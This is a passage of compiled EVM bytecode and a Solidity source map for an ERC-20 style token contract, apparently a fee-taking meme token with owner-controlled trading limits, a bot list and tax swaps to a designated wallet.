264697066735822122033a61737d8432b9baf4271ba006840b2ef051ec55e9779e2b178980e73d4b75464736f6c63430008190033

0x60806040526004361061014a575f3560e01c80638da5cb5b116100b3578063c311eeb41161006d578063c311eeb4146103b4578063c3c8cd80146103c8578063c9567bf9146103dc578063d34628cc146103f0578063dd62ed3e1461040f578063ec1f3f6314610453575f80fd5b80638da5cb5b146102f65780638f9a55c01461031c57806395d89b411461033157806397194abb14610361578063a9059cbb14610380578063bf474bed1461039f575f80fd5b806331f9cdf71161010457806331f9cdf7146102385780635e4ae81b1461026f57806370a0823114610285578063715018a6146102b95780637b2519de146102cd5780637d1db4a5146102e1575f80fd5b806306fdde0314610155578063095ea7b3146101985780630faee56f146101c757806318160ddd146101ea57806323b872dd146101fe578063313ce5671461021d575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600981526820a49026b0b93b34b760b91b60208201525b60405161018f91906116be565b60405180910390f35b3480156101a3575f80fd5b506101b76101b2366004611717565b610472565b604051901515815260200161018f565b3480156101d2575f80fd5b506101dc60125481565b60405190815260200161018f565b3480156101f5575f80fd5b506101dc610488565b348015610209575f80fd5b506101b7610218366004611741565b6104a9565b348015610228575f80fd5b506040516009815260200161018f565b348015610243575f80fd5b506101b761025236600461177f565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561027a575f80fd5b50610283610510565b005b348015610290575f80fd5b506101dc61029f36600461177f565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b506102836105ce565b3480156102d8575f80fd5b5061028361063f565b3480156102ec575f80fd5b506101dc600f5481565b348015610301575f80fd5b505f546040516001600160a01b03909116815260200161018f565b348015610327575f80fd5b506101dc60105481565b34801561033c575f80fd5b5060408051808201909152600881526720a4a6a0a92b24a760c11b6020820152610182565b34801561036c575f80fd5b5061028361037b3660046117ae565b61069e565b34801561038b575f80fd5b506101b761039a366004611717565b610725565b3480156103aa575f80fd5b506101dc60115481565b3480156103bf575f80fd5b50610283610731565b3480156103d3575f80fd5b50610283610763565b3480156103e7575f80fd5b506102836107b0565b3480156103fb575f80fd5b5061028361040a3660046117ae565b610b5a565b34801561041a575f80fd5b506101dc61042936600461186e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045e575f80fd5b5061028361046d3660046118a5565b610bde565b5f61047e338484610c23565b5060015b92915050565b5f6104956009600a6119b0565b6104a49064174876e8006119be565b905090565b5f6104b5848484610d46565b610506843361050185604051806060016040528060288152602001611b52602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061133a565b610c23565b5060019392505050565b5f546001600160a01b031633146105425760405162461bcd60e51b8152600401610539906119d5565b60405180910390fd5b61054e6009600a6119b0565b61055d9064174876e8006119be565b600f5561056c6009600a6119b0565b61057b9064174876e8006119be565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ab6009600a6119b0565b6105ba9064174876e8006119be565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146105f75760405162461bcd60e51b8152600401610539906119d5565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106685760405162461bcd60e51b8152600401610539906119d5565b5f600d8190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016105c4565b5f546001600160a01b031633146106c75760405162461bcd60e51b8152600401610539906119d5565b5f5b8151811015610721575f60045f8484815181106106e8576106e8611a0a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016106c9565b5050565b5f61047e338484610d46565b6005546001600160a01b0316336001600160a01b031614610750575f80fd5b4780156107605761076081611372565b50565b6005546001600160a01b0316336001600160a01b031614610782575f80fd5b305f9081526001602052604090205480156107a0576107a0816113a9565b4780156107215761072181611372565b5f546001600160a01b031633146107d95760405162461bcd60e51b8152600401610539906119d5565b601454600160a01b900460ff16156108335760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610539565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561087d90309061086e6009600a6119b0565b6105019064174876e8006119be565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611a1e565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610950573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109749190611a1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109be573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109e29190611a1e565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a29816001600160a01b03165f9081526001602052604090205490565b5f80610a3c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ac79190611a39565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b1c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b409190611a64565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610b835760405162461bcd60e51b8152600401610539906119d5565b5f5b815181101561072157600160045f848481518110610ba557610ba5611a0a565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610b85565b6005546001600160a01b0316336001600160a01b031614610bfd575f80fd5b6008548111158015610c1157506009548111155b610c19575f80fd5b6008819055600955565b6001600160a01b038316610c855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610539565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610539565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610daa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610539565b6001600160a01b038216610e0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610539565b5f8111610e6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610539565b5f80546001600160a01b03858116911614801590610e9857505f546001600160a01b03848116911614155b156111fd576001600160a01b0384165f9081526004602052604090205460ff16158015610edd57506001600160a01b0383165f9081526004602052604090205460ff16155b610ee5575f80fd5b600e545f03610f1d57610f1a6064610f14600a54600e5411610f0957600654610f0d565b6008545b8590611519565b9061159e565b90505b600e5415610f4257610f3f6064610f14600d548561151990919063ffffffff16565b90505b6014546001600160a01b038581169116148015610f6d57506013546001600160a01b03848116911614155b8015610f9157506001600160a01b0383165f9081526003602052604090205460ff16155b1561109457600f54821115610fe85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610539565b6010548261100a856001600160a01b03165f9081526001602052604090205490565b6110149190611a83565b11156110625760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610539565b61107d6064610f14600a54600e5411610f0957600654610f0d565b600e80549192505f61108e83611a96565b91905055505b6014546001600160a01b0384811691161480156110ba57506001600160a01b0384163014155b156110e7576110e46064610f14600b54600e54116110da57600754610f0d565b6009548590611519565b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561111d57506014546001600160a01b038581169116145b80156111325750601454600160b01b900460ff165b801561113f575060115481115b801561114e5750600c54600e54115b156111fb57601654431115611162575f6015555b6003601554106111b45760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610539565b6111d16111cc846111c7846012546115df565b6115df565b6113a9565b4780156111e1576111e147611372565b60158054905f6111f083611a96565b909155505043601655505b505b801561127557305f9081526001602052604090205461121c90826115f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061126c9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112979083611651565b6001600160a01b0385165f908152600160205260409020556112da6112bc8383611651565b6001600160a01b0385165f90815260016020526040902054906115f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113238585611651565b60405190815260200160405180910390a350505050565b5f818484111561135d5760405162461bcd60e51b815260040161053991906116be565b505f6113698486611aae565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610721573d5f803e3d5ffd5b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ef576113ef611a0a565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611446573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146a9190611a1e565b8160018151811061147d5761147d611a0a565b6001600160a01b0392831660209182029290920101526013546114a39130911684610c23565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114db9085905f90869030904290600401611ac1565b5f604051808303815f87803b1580156114f2575f80fd5b505af1158015611504573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b5f825f0361152857505f610482565b5f61153383856119be565b9050826115408583611b32565b146115975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610539565b9392505050565b5f61159783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611692565b5f8183116115ed5782611597565b50919050565b5f806115ff8385611a83565b9050838110156115975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610539565b5f61159783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133a565b5f81836116b25760405162461bcd60e51b815260040161053991906116be565b505f6113698486611b32565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610760575f80fd5b8035611712816116f3565b919050565b5f8060408385031215611728575f80fd5b8235611733816116f3565b946020939093013593505050565b5f805f60608486031215611753575f80fd5b833561175e816116f3565b9250602084013561176e816116f3565b929592945050506040919091013590565b5f6020828403121561178f575f80fd5b8135611597816116f3565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117bf575f80fd5b823567ffffffffffffffff808211156117d6575f80fd5b818501915085601f8301126117e9575f80fd5b8135818111156117fb576117fb61179a565b8060051b604051601f19603f830116810181811085821117156118205761182061179a565b60405291825284820192508381018501918883111561183d575f80fd5b938501935b828510156118625761185385611707565b84529385019392850192611842565b98975050505050505050565b5f806040838503121561187f575f80fd5b823561188a816116f3565b9150602083013561189a816116f3565b809150509250929050565b5f602082840312156118b5575f80fd5b5035919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190a57815f19048211156118f0576118f06118bc565b808516156118fd57918102915b93841c93908002906118d5565b509250929050565b5f8261192057506001610482565b8161192c57505f610482565b8160018114611942576002811461194c57611968565b6001915050610482565b60ff84111561195d5761195d6118bc565b50506001821b610482565b5060208310610133831016604e8410600b841016171561198b575081810a610482565b61199583836118d0565b805f19048211156119a8576119a86118bc565b029392505050565b5f61159760ff841683611912565b8082028115828204841417610482576104826118bc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a2e575f80fd5b8151611597816116f3565b5f805f60608486031215611a4b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a74575f80fd5b81518015158114611597575f80fd5b80820180821115610482576104826118bc565b5f60018201611aa757611aa76118bc565b5060010190565b81810381811115610482576104826118bc565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b115784516001600160a01b031683529383019391830191600101611aec565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b4c57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122033a61737d8432b9baf4271ba006840b2ef051ec55e9779e2b178980e73d4b75464736f6c63430008190033

3863:9056:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5852:83;;;;;;;;;;-1:-1:-1;5922:5:0;;;;;;;;;;;;-1:-1:-1;;;5922:5:0;;;;5852:83;;;;;;;:::i;:::-;;;;;;;;6685:161;;;;;;;;;;-1:-1:-1;6685:161:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6685:161:0;1032:187:1;5005:54:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;5005:54:0;1224:177:1;6129:95:0;;;;;;;;;;;;;:::i;6854:313::-;;;;;;;;;;-1:-1:-1;6854:313:0;;;;;:::i;:::-;;:::i;6038:83::-;;;;;;;;;;-1:-1:-1;6038:83:0;;4617:1;2009:36:1;;1997:2;1982:18;6038:83:0;1867:184:1;11307:83:0;;;;;;;;;;-1:-1:-1;11307:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11375:7:0;11354:4;11375:7;;;:4;:7;;;;;;;;;11307:83;10571:159;;;;;;;;;;;;;:::i;:::-;;6232:119;;;;;;;;;;-1:-1:-1;6232:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6325:18:0;6298:7;6325:18;;;:9;:18;;;;;;;6232:119;2944:148;;;;;;;;;;;;;:::i;10738:119::-;;;;;;;;;;;;;:::i;4810:56::-;;;;;;;;;;;;;;;;2730:79;;;;;;;;;;-1:-1:-1;2768:7:0;2795:6;2730:79;;-1:-1:-1;;;;;2795:6:0;;;2454:51:1;;2442:2;2427:18;2730:79:0;2308:203:1;4873:58:0;;;;;;;;;;;;;;;;5943:87;;;;;;;;;;-1:-1:-1;6015:7:0;;;;;;;;;;;;-1:-1:-1;;;6015:7:0;;;;5943:87;;11137:162;;;;;;;;;;-1:-1:-1;11137:162:0;;;;;:::i;:::-;;:::i;6359:167::-;;;;;;;;;;-1:-1:-1;6359:167:0;;;;;:::i;:::-;;:::i;4938:60::-;;;;;;;;;;;;;;;;12700:216;;;;;;;;;;;;;:::i;12346:348::-;;;;;;;;;;;;;:::i;11398:671::-;;;;;;;;;;;;;:::i;10965:164::-;;;;;;;;;;-1:-1:-1;10965:164:0;;;;;:::i;:::-;;:::i;6534:143::-;;;;;;;;;;-1:-1:-1;6534:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6642:18:0;;;6615:7;6642:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6534:143;12083:218;;;;;;;;;;-1:-1:-1;12083:218:0;;;;;:::i;:::-;;:::i;6685:161::-;6760:4;6777:39;565:10;6800:7;6809:6;6777:8;:39::i;:::-;-1:-1:-1;6834:4:0;6685:161;;;;;:::o;6129:95::-;6182:7;4675:13;4617:1;4675:2;:13;:::i;:::-;4660:28;;:12;:28;:::i;:::-;6202:14;;6129:95;:::o;6854:313::-;6952:4;6969:36;6979:6;6987:9;6998:6;6969:9;:36::i;:::-;7016:121;7025:6;565:10;7047:89;7085:6;7047:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7047:19:0;;;;;;:11;:19;;;;;;;;565:10;7047:33;;;;;;;;;;:37;:89::i;:::-;7016:8;:121::i;:::-;-1:-1:-1;7155:4:0;6854:313;;;;;:::o;10571:159::-;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;;;;;;;;;4675:13:::1;4617:1;4675:2;:13;:::i;:::-;4660:28;::::0;:12:::1;:28;:::i;:::-;10624:12;:22:::0;4675:13:::1;4617:1;4675:2;:13;:::i;:::-;4660:28;::::0;:12:::1;:28;:::i;:::-;10657:14;:22:::0;10695:27:::1;4675:13;4617:1;4675:2;:13;:::i;:::-;4660:28;::::0;:12:::1;:28;:::i;:::-;10695:27;::::0;1370:25:1;;;1358:2;1343:18;10695:27:0::1;;;;;;;;10571:159::o:0;2944:148::-;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;3051:1:::1;3035:6:::0;;3014:40:::1;::::0;-1:-1:-1;;;;;3035:6:0;;::::1;::::0;3014:40:::1;::::0;3051:1;;3014:40:::1;3082:1;3065:19:::0;;-1:-1:-1;;;;;;3065:19:0::1;::::0;;2944:148::o;10738:119::-;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;10811:1:::1;10796:12;:16:::0;;;10828:21:::1;::::0;1370:25:1;;;10828:21:0::1;::::0;1358:2:1;1343:18;10828:21:0::1;1224:177:1::0;11137:162:0;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;11210:6:::1;11205:87;11226:6;:13;11222:1;:17;11205:87;;;11277:5;11259:4;:15;11264:6;11271:1;11264:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11259:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11259:15:0;:23;;-1:-1:-1;;11259:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11241:3:0::1;11205:87;;;;11137:162:::0;:::o;6359:167::-;6437:4;6454:42;565:10;6478:9;6489:6;6454:9;:42::i;12700:216::-;12763:10;;-1:-1:-1;;;;;12763:10:0;565;-1:-1:-1;;;;;12747:26:0;;12739:35;;;;;;12806:21;12842:14;;12838:71;;12873:24;12886:10;12873:12;:24::i;:::-;12728:188;12700:216::o;12346:348::-;12410:10;;-1:-1:-1;;;;;12410:10:0;565;-1:-1:-1;;;;;12396:24:0;;12388:33;;;;;;12471:4;12432:20;6325:18;;;:9;:18;;;;;;12491:14;;12488:73;;12519:30;12536:12;12519:16;:30::i;:::-;12590:21;12625:12;;12622:65;;12651:24;12664:10;12651:12;:24::i;11398:671::-;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;11462:11:::1;::::0;-1:-1:-1;;;11462:11:0;::::1;;;11461:12;11453:47;;;::::0;-1:-1:-1;;;11453:47:0;;6919:2:1;11453:47:0::1;::::0;::::1;6901:21:1::0;6958:2;6938:18;;;6931:30;6997:25;6977:18;;;6970:53;7040:18;;11453:47:0::1;6717:347:1::0;11453:47:0::1;11511:15;:80:::0;;-1:-1:-1;;;;;;11511:80:0::1;11548:42;11511:80:::0;;::::1;::::0;;;11602:58:::1;::::0;11619:4:::1;::::0;4675:13:::1;4617:1;4675:2;:13;:::i;:::-;4660:28;::::0;:12:::1;:28;:::i;11602:58::-;11705:15;;;;;;;;;-1:-1:-1::0;;;;;11705:15:0::1;-1:-1:-1::0;;;;;11705:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11687:55:0::1;;11751:4;11758:15;;;;;;;;;-1:-1:-1::0;;;;;11758:15:0::1;-1:-1:-1::0;;;;;11758:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11687:94;::::0;-1:-1:-1;;;;;;11687:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7555:15:1;;;11687:94:0::1;::::0;::::1;7537:34:1::0;7607:15;;7587:18;;;7580:43;7472:18;;11687:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11671:13;:110:::0;;-1:-1:-1;;;;;11671:110:0;;::::1;-1:-1:-1::0;;;;;;11671:110:0;;::::1;;::::0;;11792:15:::1;::::0;::::1;:31;11831:21;11862:4;11868:24;11862:4:::0;-1:-1:-1;;;;;6325:18:0;6298:7;6325:18;;;:9;:18;;;;;;;6232:119;11868:24:::1;11893:1;11895::::0;11897:7:::1;2768::::0;2795:6;-1:-1:-1;;;;;2795:6:0;;2730:79;11897:7:::1;11792:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11792:129:0;;;-1:-1:-1;;;;;7993:15:1;;;11792:129:0::1;::::0;::::1;7975:34:1::0;8025:18;;;8018:34;;;;8068:18;;;8061:34;;;;8111:18;;;8104:34;8175:15;;;8154:19;;;8147:44;11905:15:0::1;8207:19:1::0;;;8200:35;7909:19;;11792:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11939:13:0::1;::::0;11970:15:::1;::::0;11932:71:::1;::::0;-1:-1:-1;;;11932:71:0;;-1:-1:-1;;;;;11970:15:0;;::::1;11932:71;::::0;::::1;8731:51:1::0;-1:-1:-1;;8798:18:1;;;8791:34;11939:13:0;::::1;::::0;-1:-1:-1;11932:29:0::1;::::0;8704:18:1;;11932:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12014:11:0::1;:18:::0;;-1:-1:-1;;;;12043:18:0;-1:-1:-1;;;12043:18:0;;;11398:671::o;10965:164::-;2857:6;;-1:-1:-1;;;;;2857:6:0;565:10;2857:22;2849:67;;;;-1:-1:-1;;;2849:67:0;;;;;;;:::i;:::-;11039:6:::1;11034:88;11055:5;:12;11051:1;:16;11034:88;;;11106:4;11089;:14;11094:5;11100:1;11094:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11089:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11089:14:0;:21;;-1:-1:-1;;11089:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11069:3:0::1;11034:88;;12083:218:::0;12158:10;;-1:-1:-1;;;;;12158:10:0;565;-1:-1:-1;;;;;12144:24:0;;12136:33;;;;;;12195:12;;12186:7;:21;;:47;;;;;12220:13;;12211:7;:22;;12186:47;12178:56;;;;;;12243:12;:20;;;12272:13;:21;12083:218::o;7175:335::-;-1:-1:-1;;;;;7268:19:0;;7260:68;;;;-1:-1:-1;;;7260:68:0;;9320:2:1;7260:68:0;;;9302:21:1;9359:2;9339:18;;;9332:30;9398:34;9378:18;;;9371:62;-1:-1:-1;;;9449:18:1;;;9442:34;9493:19;;7260:68:0;9118:400:1;7260:68:0;-1:-1:-1;;;;;7347:21:0;;7339:68;;;;-1:-1:-1;;;7339:68:0;;9725:2:1;7339:68:0;;;9707:21:1;9764:2;9744:18;;;9737:30;9803:34;9783:18;;;9776:62;-1:-1:-1;;;9854:18:1;;;9847:32;9896:19;;7339:68:0;9523:398:1;7339:68:0;-1:-1:-1;;;;;7418:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7470:32;;1370:25:1;;;7470:32:0;;1343:18:1;7470:32:0;;;;;;;7175:335;;;:::o;7518:2446::-;-1:-1:-1;;;;;7606:18:0;;7598:68;;;;-1:-1:-1;;;7598:68:0;;10128:2:1;7598:68:0;;;10110:21:1;10167:2;10147:18;;;10140:30;10206:34;10186:18;;;10179:62;-1:-1:-1;;;10257:18:1;;;10250:35;10302:19;;7598:68:0;9926:401:1;7598:68:0;-1:-1:-1;;;;;7685:16:0;;7677:64;;;;-1:-1:-1;;;7677:64:0;;10534:2:1;7677:64:0;;;10516:21:1;10573:2;10553:18;;;10546:30;10612:34;10592:18;;;10585:62;-1:-1:-1;;;10663:18:1;;;10656:33;10706:19;;7677:64:0;10332:399:1;7677:64:0;7769:1;7760:6;:10;7752:64;;;;-1:-1:-1;;;7752:64:0;;10938:2:1;7752:64:0;;;10920:21:1;10977:2;10957:18;;;10950:30;11016:34;10996:18;;;10989:62;-1:-1:-1;;;11067:18:1;;;11060:39;11116:19;;7752:64:0;10736:405:1;7752:64:0;7827:17;2795:6;;-1:-1:-1;;;;;7861:15:0;;;2795:6;;7861:15;;;;:32;;-1:-1:-1;2768:7:0;2795:6;-1:-1:-1;;;;;7880:13:0;;;2795:6;;7880:13;;7861:32;7857:1751;;;-1:-1:-1;;;;;7919:10:0;;;;;;:4;:10;;;;;;;;7918:11;:24;;;;-1:-1:-1;;;;;;7934:8:0;;;;;;:4;:8;;;;;;;;7933:9;7918:24;7910:33;;;;;;7961:9;;7972:1;7961:12;7958:139;;8005:76;8077:3;8005:67;8027:15;;8017:9;;:25;8016:55;;8057:14;;8016:55;;;8044:12;;8016:55;8005:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7993:88;;7958:139;8114:9;;:11;8111:95;;8157:33;8186:3;8157:24;8168:12;;8157:6;:10;;:24;;;;:::i;:33::-;8145:45;;8111:95;8234:13;;-1:-1:-1;;;;;8226:21:0;;;8234:13;;8226:21;:55;;;;-1:-1:-1;8265:15:0;;-1:-1:-1;;;;;8251:30:0;;;8265:15;;8251:30;;8226:55;:83;;;;-1:-1:-1;;;;;;8287:22:0;;;;;;:18;:22;;;;;;;;8285:24;8226:83;8222:420;;;8349:12;;8339:6;:22;;8331:60;;;;-1:-1:-1;;;8331:60:0;;11348:2:1;8331:60:0;;;11330:21:1;11387:2;11367:18;;;11360:30;11426:27;11406:18;;;11399:55;11471:18;;8331:60:0;11146:349:1;8331:60:0;8444:14;;8434:6;8418:13;8428:2;-1:-1:-1;;;;;6325:18:0;6298:7;6325:18;;;:9;:18;;;;;;;6232:119;8418:13;:22;;;;:::i;:::-;:40;;8410:79;;;;-1:-1:-1;;;8410:79:0;;11832:2:1;8410:79:0;;;11814:21:1;11871:2;11851:18;;;11844:30;11910:28;11890:18;;;11883:56;11956:18;;8410:79:0;11630:350:1;8410:79:0;8520:76;8592:3;8520:67;8542:15;;8532:9;;:25;8531:55;;8572:14;;8531:55;;8520:76;8615:9;:11;;8508:88;;-1:-1:-1;8615:9:0;:11;;;:::i;:::-;;;;;;8222:420;8667:13;;-1:-1:-1;;;;;8661:19:0;;;8667:13;;8661:19;:43;;;;-1:-1:-1;;;;;;8684:20:0;;8699:4;8684:20;;8661:43;8658:174;;;8737:79;8812:3;8737:70;8759:16;;8749:9;;:26;8748:58;;8791:15;;8748:58;;;8777:13;;8737:6;;:10;:70::i;:79::-;8725:91;;8658:174;8897:4;8848:28;6325:18;;;:9;:18;;;;;;8923:6;;-1:-1:-1;;;8923:6:0;;;;8922:7;:30;;;;-1:-1:-1;8939:13:0;;-1:-1:-1;;;;;8933:19:0;;;8939:13;;8933:19;8922:30;:45;;;;-1:-1:-1;8956:11:0;;-1:-1:-1;;;8956:11:0;;;;8922:45;:89;;;;;8994:17;;8971:20;:40;8922:89;:123;;;;;9027:18;;9015:9;;:30;8922:123;8918:679;;;9085:13;;9070:12;:28;9066:90;;;9135:1;9123:9;:13;9066:90;9194:1;9182:9;;:13;9174:49;;;;-1:-1:-1;;;9174:49:0;;12327:2:1;9174:49:0;;;12309:21:1;12366:2;12346:18;;;12339:30;12405:25;12385:18;;;12378:53;12448:18;;9174:49:0;12125:347:1;9174:49:0;9242:69;9259:51;9263:6;9271:38;9275:20;9297:11;;9271:3;:38::i;:::-;9259:3;:51::i;:::-;9242:16;:69::i;:::-;9359:21;9403:22;;9399:106;;9450:35;9463:21;9450:12;:35::i;:::-;9523:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9569:12:0;9553:13;:28;-1:-1:-1;8918:679:0;7895:1713;7857:1751;9623:11;;9620:161;;9691:4;9673:24;;;;:9;:24;;;;;;:39;;9702:9;9673:28;:39::i;:::-;9666:4;9648:24;;;;:9;:24;;;;;;;:64;;;;9730:39;;-1:-1:-1;;;;;9730:39:0;;;;;;;9759:9;1370:25:1;;1358:2;1343:18;;1224:177;9730:39:0;;;;;;;;9620:161;-1:-1:-1;;;;;9807:15:0;;;;;;:9;:15;;;;;;:27;;9827:6;9807:19;:27::i;:::-;-1:-1:-1;;;;;9791:15:0;;;;;;:9;:15;;;;;:43;9859:40;9877:21;:6;9888:9;9877:10;:21::i;:::-;-1:-1:-1;;;;;9859:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9845:13:0;;;;;;;:9;:13;;;;;:54;;;;9915:41;;;9934:21;:6;9945:9;9934:10;:21::i;:::-;9915:41;;1370:25:1;;;1358:2;1343:18;9915:41:0;;;;;;;7587:2377;7518:2446;;;:::o;1622:190::-;1708:7